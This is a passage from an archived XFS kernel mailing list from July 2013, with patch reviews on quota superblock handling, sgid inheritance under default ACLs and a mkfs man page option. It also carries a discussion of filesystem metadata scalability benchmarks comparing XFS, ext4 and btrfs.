+501,8 @@ xfs_growfs_data_private( > > > > error, agno); > > > > break; > > > > } > > > > - xfs_sb_to_disk(XFS_BUF_TO_SBP(bp), &mp->m_sb, XFS_SB_ALL_BITS); > > > > + xfs_sb_to_disk(XFS_BUF_TO_SBP(bp), &mp->m_sb, > > > > + xfs_sb_all_bits(&mp->m_sb)); > > > > > > I think you could still pass XFS_SB_ALL_BITS to xfs_sb_to_disk(), > > > and do the XFS_SB_PQUOTINO filtering inside xfs_sb_quota_to_disk(). > > > > > > Actually xfs_sb_all_bits() is only used here, and it seems to me > > > that it is not necessary as we do a pquota support check inside > > > xfs_sb_to_disk() and can handle this in that place... > > > > Yes, this is the only place that uses XFS_SB_ALL_BITS, and the purpose > > is to copy over the superblock to secondary. > > > > The change I made ensures that the caller does what is correct. i.e if > > it is copying an earlier version of superblock, it does not try to copy > > the pquotino, and if it uses the newer version of superblock it copies > > over the pquotino. > > The caller does not need to know anything about how the quota bits > are encoded in the superblock. Caller doesn't need to know about quota bits, that is why I encapsulated it into the function xfs_sb_all_bits(). Previously, it was fine to have the ALL_BITS to be independent of the superblock, with my change we need to know which version of superblock is being used to get all _only_ the bits that are used. So, I do feel this is the right way to do it. > > > At some point (in my internal tree) I did have the way you suggested. > > But, doing it that way looked like a band-aid/hack, and felt this is the > > right way to do it (since the caller should provide appropriate > > information to the function). > > The caller should not have to know anything about the specific > on-disk encoding the filesystem is currently using > > That's the reason for encapsulating such on-disk format conversion > inside xfs_sb_to/from_disk(). Same with all the mount flags and so on > - the differences between what the code uses and what is on disk is > all encapsulated inside xfs_sb_quota_to/from_disk. Encapsulation in xfs_sb_to_disk() is not enough for this situation. If both PQUOTINO and GQUOTINO is set for version 4 of the superblock, xfs_sb_to_disk will not be able to know if it has to treat PQUOTINO as valid or GQUOTINO as valid. Of course, we can use the value of sb_pquotino and sb_gquotino to make the decision if both PQUOTINO and GQUOTINO are set and (as I mentioned in my earlier response) it looked more like a hack. So, I chose to do it this way. > > IOWs, from the outside, XFS_SB_ALL_BITS is all a caller needs to > pass into xfs_sb_to_disk() to get everything written to disk. Making > the caller have to be aware of the on-disk format when the function > being called is supposed to hide the details of the on-disk format > from the callers is, well, a bit silly. > > > > > + if (*fields & XFS_SB_PQUOTINO) { > > > > + to->sb_gquotino = cpu_to_be64(from->sb_pquotino); > > > > + *fields &= ~XFS_SB_PQUOTINO; > > > > + } > > > > > > We will never do this because we've already cleared XFS_SB_PQUOTINO > > > before we entered xfs_sb_to_disk(). That doesn't seem right to me... > > > > Yes, if we are using a version of superblock where pquotino should not > > be used, we do not want to get into this block. > > Why not? this code is executing the conversion from in-memory format > to the old on-disk format. This is exactly where such conversion As I mentioned above with superblock version less than 5, we can nicely handle the case where both PQUOTINO and GQUOTINO is set when only one of them is valid. > should be handled. This code looks right, but if you strip > XFS_SB_PQUOTINO at a high level, then it doesn't *ever* get used. PQUOTINO is not stripped in all code paths. PQUOTINO is not set _only_ if the older superblock is copied to new secondary areas. > > > If we are using PQUOTA in the superblock, that inode information will be > > in gquotino and will be converted over appropriately in > > xfs_sb_to_disk(). > > Sorry, I don't follow. You mean OQUOTA, yes? What I meant to say is... if pquota is used in the superblock, (of course OQUOTA will be set in the on-disk superblock), then that information would be available in sb_gquotino, and that value will be copied over to secondary superblocks appropriately. > > Besides, all quota format conversions should be done in > xfs_sb_quota_to_disk(), not split between that function and > xfs_sb_to_disk()... > > > > > @@ -201,8 +201,7 @@ xfs_qm_scall_quotaoff( > > > > /* > > > > * If quotas is completely disabled, close shop. > > > > */ > > > > - if (((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_SET1) || > > > > - ((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_SET2)) { > > > > + if ((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_ALL) { > > > > mutex_unlock(&q->qi_quotaofflock); > > > > xfs_qm_destroy_quotainfo(mp); > > > > return (0); > > > > > > This makes the assumption that userspace passes all three quota > > > types into the kernel in a single quota off call as the only way to > > > turn quotas off completely. What happens if they are turned off one > > > at a time? Shouldn't we detect when no more quotas are actually > > > enabled and then do this? > > > > Yes, I agree that there is a difference in behavior if the user turns > > off quota one-by-one Vs turns off all quota at once. But, the behavior > > difference is not seen by the user space. And, I did not make the > > change :) > > > > I just included project quota into the fold. > > Sure, but my point still stands - if userspace currently expects > quota to be turned off by turning of user+group quota at the same > time, or user+project quota at the same time, then this will no > longer turn quotas off even if u/g or u/p were the only quotas > enabled. It's an unexpected change of behaviour, especially for > filesystems that don't support the separate pquota inode... IIUC, user space will not see any difference in behavior even if this specific code block is not present in this function. Whatever is being done in xfs_qm_destroy_quotainfo() is done by the code just below the above block in xfs_qm_scall_quotaoff(). Only additional thing xfs_qm_destroy_quotainfo() does is to clean up all other in-kernel data structures associated with quota for this mount point. The behavior was that if _all_ the quotas are turned off at the same time, clean up all in-kernel data structures associated with quota. If the quotas were turned off one at a time, leave the in-kernel stuff even when the last quota is turned off. I maintained the same behavior. I understand your point that _all_ mean u/g or u/p in older version of superblock. But, the difference in behavior is not drastic and is not seen by the user space at all. If still unconvinced, is this the code you want to see there ? if (((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_ALL) && xfs_sb_version_has_pquota(&mp->sb)) || ((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_SET1) || ((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_SET2)) { : : } > Cheers, > > Dave. From david@fromorbit.com Mon Jul 8 18:42:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9CADD7F62 for ; Mon, 8 Jul 2013 18:42:46 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 199EEAC005 for ; Mon, 8 Jul 2013 16:42:43 -0700 (PDT) X-ASG-Debug-ID: 1373326960-04cb6c2a47a3d160001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id YJw8Ll7Lk9Ax8naO for ; Mon, 08 Jul 2013 16:42:41 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApoRAD5N21F5LGhq/2dsb2JhbABZgwmDHrkyhSwEAYEbF3SCIwEBBAEnExwjBQsIAw4JAQkaCw8FJQMTDhOICQW5EBaOOIEdB4MHaQOSZ4RrkUmBWIFLKg Received: from ppp121-44-104-106.lns20.syd6.internode.on.net (HELO dastard) ([121.44.104.106]) by ipmail07.adl2.internode.on.net with ESMTP; 09 Jul 2013 09:12:39 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UwL4l-00036h-NS; Tue, 09 Jul 2013 09:42:35 +1000 Date: Tue, 9 Jul 2013 09:42:35 +1000 From: Dave Chinner To: Ben Myers Cc: Carlos Maiolino , xfs@oss.sgi.com Subject: Re: [PATCH] Subject: [PATCH] xfs: fix sgid inheritance for subdirectories inheriting default acls [V3] Message-ID: <20130708234235.GD3438@dastard> X-ASG-Orig-Subj: Re: [PATCH] Subject: [PATCH] xfs: fix sgid inheritance for subdirectories inheriting default acls [V3] References: <1371836753-3327-1-git-send-email-cmaiolino@redhat.com> <20130708211121.GI20932@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130708211121.GI20932@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1373326960 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136208 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jul 08, 2013 at 04:11:21PM -0500, Ben Myers wrote: > On Fri, Jun 21, 2013 at 02:45:53PM -0300, Carlos Maiolino wrote: > > XFS removes sgid bits of subdirectories under a directory containing a default > > acl. > > > > When a default acl is set, it implies xfs to call xfs_setattr_nonsize() in its > > code path. Such function is shared among mkdir and chmod system calls, and > > does some checks unneeded by mkdir (calling inode_change_ok()). Such checks > > remove sgid bit from the inode after it has been granted. > > > > With this patch, we extend the meaning of XFS_ATTR_NOACL flag to avoid these > > checks when acls are being inherited (thanks hch). > > > > Also, xfs_setattr_mode, doesn't need to re-check for group id and capabilities > > permissions, this only implies in another try to remove sgid bit from the > > directories. Such check is already done either on inode_change_ok() or > > xfs_setattr_nonsize(). > > > > Changelog: > > > > V2: Extends the meaning of XFS_ATTR_NOACL instead of wrap the tests into another > > function > > > > V3: Remove S_ISDIR check in xfs_setattr_nonsize() from the patch > > > > Signed-off-by: Carlos Maiolino > > > > - if (mp->m_flags & XFS_MOUNT_RDONLY) > > - return XFS_ERROR(EROFS); > > + /* If acls are being inherited, we already have this checked */ > > + if (!(flags & XFS_ATTR_NOACL)) { > > + if (mp->m_flags & XFS_MOUNT_RDONLY) > > + return XFS_ERROR(EROFS); > > > > - if (XFS_FORCED_SHUTDOWN(mp)) > > - return XFS_ERROR(EIO); > > + if (XFS_FORCED_SHUTDOWN(mp)) > > + return XFS_ERROR(EIO); > > > > - error = -inode_change_ok(inode, iattr); > > - if (error) > > - return XFS_ERROR(error); > > + error = -inode_change_ok(inode, iattr); > > + if (error) > > + return XFS_ERROR(error); > > + } > > I'm not so sure about this change yet. Looks like the two relevant callers are: > > .set - xattr_handler > xfs_xattr_acl_set > xfs_set_mode > xfs_setattr_nonsize(..., XFS_ATTR_NOACL); > > and > > xfs_vn_mknod > xfs_inherit_acl > xfs_set_mode > xfs_setattr_nonsize(..., XFS_ATTR_NOACL); > > I suggest moving the forced shutdown and readonly checks outside of the > XFS_ATTR_NOACL conditional. I'm not seeing those checks in xfs_attr_acl_set or > xfs_vn_mknod and it won't hurt to be careful. In both cases, the read-only checks are done at much higher layers and so we don't ever get to xfs_setattr_nonsize() through these paths with a read-only filesystem. Shutdown doesn't really matter - the transaction commit will fail if the filesystem is shut down... > It also seems like inode_change_ok might have some other checks that are > necessary to determine whether it is ok to update the mode and ctime here. A > call to inode_owner_or_capable as is done in inode_change_ok would cover this > possibility. The inode permission checks are already done by xfs_xattr_acl_set(): if ((current_fsuid() != inode->i_uid) && !capable(CAP_FOWNER)) return -EPERM; and in the case of xfs_inherit_acl() the user has just created the file so they - by definition - have permission to inherit the ACL and modify the mode of the inode they just created. So there is no need for changes to inode_change_ok() here. Cheers, Dave. -- Dave Chinner david@fromorbit.com From cmaiolino@redhat.com Mon Jul 8 18:45:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 00AA77F62 for ; Mon, 8 Jul 2013 18:45:23 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 81AC0AC001 for ; Mon, 8 Jul 2013 16:45:23 -0700 (PDT) X-ASG-Debug-ID: 1373327122-04cb6c2a42a3d3e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id iCGpiQtR9Fsvjj2G for ; Mon, 08 Jul 2013 16:45:22 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r68NjLuS025667 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 8 Jul 2013 19:45:22 -0400 Received: from andromeda.usersys.redhat.com.com (ovpn-113-117.phx2.redhat.com [10.3.113.117]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r68NjK8e012711 for ; Mon, 8 Jul 2013 19:45:21 -0400 From: Carlos Maiolino To: xfs@oss.sgi.com Subject: [PATCH] mkfs: add missing noalign suboption information Date: Mon, 8 Jul 2013 20:45:10 -0300 X-ASG-Orig-Subj: [PATCH] mkfs: add missing noalign suboption information Message-Id: <1373327110-5533-1-git-send-email-cmaiolino@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373327122 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Adds to the mkfs man page, information about noalign mkfs option which is missing until now. Signed-off-by: Carlos Maiolino --- man/man8/mkfs.xfs.8 | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/man/man8/mkfs.xfs.8 b/man/man8/mkfs.xfs.8 index 04c19b4..2435814 100644 --- a/man/man8/mkfs.xfs.8 +++ b/man/man8/mkfs.xfs.8 @@ -244,6 +244,12 @@ will automatically query the logical volume for appropriate and .B swidth values. +.TP +.BI noalign +This option is used to bypass data alignment configuration. In rare +circunstances, data alignment might decrease performance, for such cases, +use this option to avoid data alignment, this will set stripe unit and +stripe width to 0. .RE .TP .B \-f -- 1.8.1.4 From sandeen@sandeen.net Mon Jul 8 19:01:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 603B57F6D for ; Mon, 8 Jul 2013 19:01:45 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id EFFB7AC001 for ; Mon, 8 Jul 2013 17:01:41 -0700 (PDT) X-ASG-Debug-ID: 1373328100-04bdf0233fcfffb0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id OxgItKuWLw2XCX2f for ; Mon, 08 Jul 2013 17:01:40 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator-563.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id B37FF6096FC4; Mon, 8 Jul 2013 19:01:39 -0500 (CDT) Message-ID: <51DB52E1.8030508@sandeen.net> Date: Mon, 08 Jul 2013 19:01:37 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Carlos Maiolino CC: xfs@oss.sgi.com Subject: Re: [PATCH] mkfs: add missing noalign suboption information References: <1373327110-5533-1-git-send-email-cmaiolino@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] mkfs: add missing noalign suboption information In-Reply-To: <1373327110-5533-1-git-send-email-cmaiolino@redhat.com> X-Enigmail-Version: 1.5.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1373328100 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136210 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 7/8/13 6:45 PM, Carlos Maiolino wrote: > Adds to the mkfs man page, information about noalign mkfs option which is > missing until now. > > Signed-off-by: Carlos Maiolino > --- > man/man8/mkfs.xfs.8 | 6 ++++++ > 1 file changed, 6 insertions(+) > > diff --git a/man/man8/mkfs.xfs.8 b/man/man8/mkfs.xfs.8 > index 04c19b4..2435814 100644 > --- a/man/man8/mkfs.xfs.8 > +++ b/man/man8/mkfs.xfs.8 > @@ -244,6 +244,12 @@ will automatically query the logical volume for appropriate > and > .B swidth > values. > +.TP > +.BI noalign > +This option is used to bypass data alignment configuration. In rare > +circunstances, data alignment might decrease performance, for such cases, > +use this option to avoid data alignment, this will set stripe unit and > +stripe width to 0. Thanks for this, Carlos. I think it might be better to just state plainly that it overrides automatic stripe unit detection, and leave the tuning / performance parts out. Most of the manpage today is more "what" than "why." So maybe simply: +This option disables automatic stripe geometry detection, and creates +the filesystem without stripe geometry even if the underlying storage +device reports this information. FWIW, there is a 'noalign' option for the realtime subvolume as well, and that should probably get documented too. -Eric > .RE > .TP > .B \-f > From david@fromorbit.com Mon Jul 8 19:15:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D912E7F75 for ; Mon, 8 Jul 2013 19:15:23 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id C8F6C30405F for ; Mon, 8 Jul 2013 17:15:20 -0700 (PDT) X-ASG-Debug-ID: 1373328918-04cb6c2a46a3f700001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id IGWEeDGgyWu1VtDI for ; Mon, 08 Jul 2013 17:15:19 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApkRAGNV21F5LGhq/2dsb2JhbABZgwmDHrkyhSwEAYEcF3SCIwEBBAE6HCMFCwgDDgoJGgsPBSUDIROICQW5HhaOKQ+BHQeDB2kDl1KRSYFYgUsqgS0 Received: from ppp121-44-104-106.lns20.syd6.internode.on.net (HELO dastard) ([121.44.104.106]) by ipmail07.adl2.internode.on.net with ESMTP; 09 Jul 2013 09:45:18 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UwLaP-0003A6-2W; Tue, 09 Jul 2013 10:15:17 +1000 Date: Tue, 9 Jul 2013 10:15:17 +1000 From: Dave Chinner To: Jan Kara Cc: Marco Stornelli , xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Subject: Re: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) Message-ID: <20130709001516.GE3438@dastard> X-ASG-Orig-Subj: Re: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) References: <1372657476-9241-1-git-send-email-david@fromorbit.com> <20130708124453.GC3438@dastard> <20130708135953.GF5988@quack.suse.cz> <51DAD943.6050703@gmail.com> <20130708153807.GC12743@quack.suse.cz> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130708153807.GC12743@quack.suse.cz> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1373328918 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136210 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jul 08, 2013 at 05:38:07PM +0200, Jan Kara wrote: > On Mon 08-07-13 17:22:43, Marco Stornelli wrote: > > Il 08/07/2013 15:59, Jan Kara ha scritto: > > >On Mon 08-07-13 22:44:53, Dave Chinner wrote: > > > > > >>So, lets look at ext4 vs btrfs vs XFS at 16-way (this is on the > > >>3.10-cil kernel I've been testing XFS on): > > >> > > >> create walk unlink > > >> time(s) rate time(s) time(s) > > >>xfs 222 266k+-32k 170 295 > > >>ext4 978 54k+- 2k 325 2053 > > >>btrfs 1223 47k+- 8k 366 12000(*) > > >> > > >>(*) Estimate based on a removal rate of 18.5 minutes for the first > > >>4.8 million inodes. > > >> > > >>Basically, neither btrfs or ext4 have any concurrency scaling to > > >>demonstrate, and unlinks on btrfs a just plain woeful. > > > Thanks for posting the numbers. There isn't anyone seriously testing ext4 > > >SMP scalability AFAIK so it's not surprising it sucks. It's worse than that - nobody picked up on review that taking a global lock on every extent lookup might be a scalability issue? Scalability is not an afterthought anymore - new filesystem and kernel features need to be designed from the ground up with this in mind. We're living in a world where even phones have 4 CPU cores.... > > Funny, if I well remember Google guys switched android from yaffs2 > > to ext4 due to its superiority on SMP :) > Well, there's SMP and SMP. Ext4 is perfectly OK for desktop kind of SMP - Barely. It tops out in parallelism at between 2-4 threads depending on the metadata operations being done. > that's what lots of people use. When we speak of heavy IO load with 16 CPUs > on enterprise grade storage so that CPU (and not IO) bottlenecks are actually > visible, that's not so easily available and so we don't have serious > performance work in that direction... I'm not testing with "enterprise grade" storage. The filesystem I'm testing on is hosted on less than $300 of SSDs. The "enterprise" RAID controller they sit behind is actually an IOPS bottleneck, not an improvement. My 2.5 year old desktop has a pair of cheap, no name sandforce SSDs in RAID0 and they can do at least 2x the read and write IOPS of the new hardware I just tested. And yes, I run XFS on my desktop. And then there's my 3 month old laptop, which has a recent SATA SSD in it. It also has 8 threads, but twice the memory and about 1.5x the IOPS and bandwidth of my desktop machine. The bottlenecks showing up in ext4 and btrfs don't magically show up at 16 threads - they are present and reproducable at 2-4 threads. Indeed, I didn't bother testing at 32 threads - even though my new server can do that - because that will just hammer the same bottlenecks even harder. Fundamentally, I'm not testing anything you can't test on a $2000 desktop PC.... FWIW, the SSDs are making ext4 and btrfs look good in these workloads. XFS is creating >250k files/s doing about 1500 IOPS. ext4 is making 50k files/s at 23,000 IOPS. btrfs has peaks every 30s of over 30,000 IOPS. Which filesystem is going to scale better on desktops with spinning rust? Cheers, Dave. -- Dave Chinner david@fromorbit.com From gnehzuil.liu@gmail.com Mon Jul 8 19:24:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 76EE57F78 for ; Mon, 8 Jul 2013 19:24:53 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 607D9304064 for ; Mon, 8 Jul 2013 17:24:53 -0700 (PDT) X-ASG-Debug-ID: 1373329491-04cbb04690cedbc0001-NocioJ Received: from mail-pd0-f180.google.com (mail-pd0-f180.google.com [209.85.192.180]) by cuda.sgi.com with ESMTP id N9YD4HBV2Q1eiVFz (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 08 Jul 2013 17:24:52 -0700 (PDT) X-Barracuda-Envelope-From: gnehzuil.liu@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.180 Received: by mail-pd0-f180.google.com with SMTP id 10so4600592pdi.25 for ; Mon, 08 Jul 2013 17:24:51 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:mail-followup-to:references :mime-version:content-type:content-disposition:in-reply-to :user-agent; bh=YY9h06skz52wH3ikcDqsKCIB6jcBxneL9LGnwaK2sX4=; b=JHKOuVII/XzxzlTHiGTLkP0yn4Nng31cStD1MEW8M3GU20woyRNSmJ7RzY61e6tDYE eIlpsB2DQUDTk6FryoLfgkwkbZ9IBOxSsgJkfkUjemz7+sRlXidtqPTentxP+68GCHHv FGxc1c6Hc0LaVAUJNjskIpNuJ3h3+blA3WKNHSsZisgBvosxTGt7MVdVaMYhb8tS7BGQ iRu9PrnZRjbPLS7BS3MJlF/GLtIAf0vLLACoL4aOAKwl8I6CAsyXPRo7Y1xq4YXNDYgi IGGL1mQVR1wh/rUKzT59WHr4S1xW+PZNz0PZgSvO8poV2UNyjv7wyN3HInf+dP2vnlsR AkLg== X-Barracuda-BBL-IP: nil X-Received: by 10.66.160.97 with SMTP id xj1mr25532013pab.5.1373329491762; Mon, 08 Jul 2013 17:24:51 -0700 (PDT) Received: from gmail.com ([182.92.247.2]) by mx.google.com with ESMTPSA id qv4sm24867693pbc.16.2013.07.08.17.24.49 for (version=TLSv1 cipher=RC4-SHA bits=128/128); Mon, 08 Jul 2013 17:24:51 -0700 (PDT) Date: Tue, 9 Jul 2013 08:43:32 +0800 X-Barracuda-Apparent-Source-IP: 182.92.247.2 From: Zheng Liu To: Dave Chinner Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Subject: Re: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) Message-ID: <20130709004332.GB23174@gmail.com> X-ASG-Orig-Subj: Re: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) Mail-Followup-To: Dave Chinner , xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org References: <1372657476-9241-1-git-send-email-david@fromorbit.com> <20130708124453.GC3438@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130708124453.GC3438@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-pd0-f180.google.com[209.85.192.180] X-Barracuda-Start-Time: 1373329492 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136212 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hi Dave, On Mon, Jul 08, 2013 at 10:44:53PM +1000, Dave Chinner wrote: [...] > So, lets look at ext4 vs btrfs vs XFS at 16-way (this is on the > 3.10-cil kernel I've been testing XFS on): > > create walk unlink > time(s) rate time(s) time(s) > xfs 222 266k+-32k 170 295 > ext4 978 54k+- 2k 325 2053 > btrfs 1223 47k+- 8k 366 12000(*) > > (*) Estimate based on a removal rate of 18.5 minutes for the first > 4.8 million inodes. > > Basically, neither btrfs or ext4 have any concurrency scaling to > demonstrate, and unlinks on btrfs a just plain woeful. > > ext4 create rate is limited by the extent cache LRU locking: I have a patch to fix this problem and the patch has been applied into 3.11-rc1. The patch is (d3922a77): ext4: improve extent cache shrink mechanism to avoid to burn CPU time I do really appreicate that if you could try your testing again against this patch. I just want to make sure that this problem has been fixed. At least in my own testing it looks fine. Thanks, - Zheng > > - 41.81% [kernel] [k] __ticket_spin_trylock > - __ticket_spin_trylock > - 60.67% _raw_spin_lock > - 99.60% ext4_es_lru_add > + 99.63% ext4_es_lookup_extent > - 39.15% do_raw_spin_lock > - _raw_spin_lock > + 95.38% ext4_es_lru_add > 0.51% insert_inode_locked > __ext4_new_inode > - 16.20% [kernel] [k] native_read_tsc > - native_read_tsc > - 60.91% delay_tsc > __delay > do_raw_spin_lock > + _raw_spin_lock > - 39.09% __delay > do_raw_spin_lock > + _raw_spin_lock > > Ext4 unlink is serialised on orphan list processing: > > - 12.67% 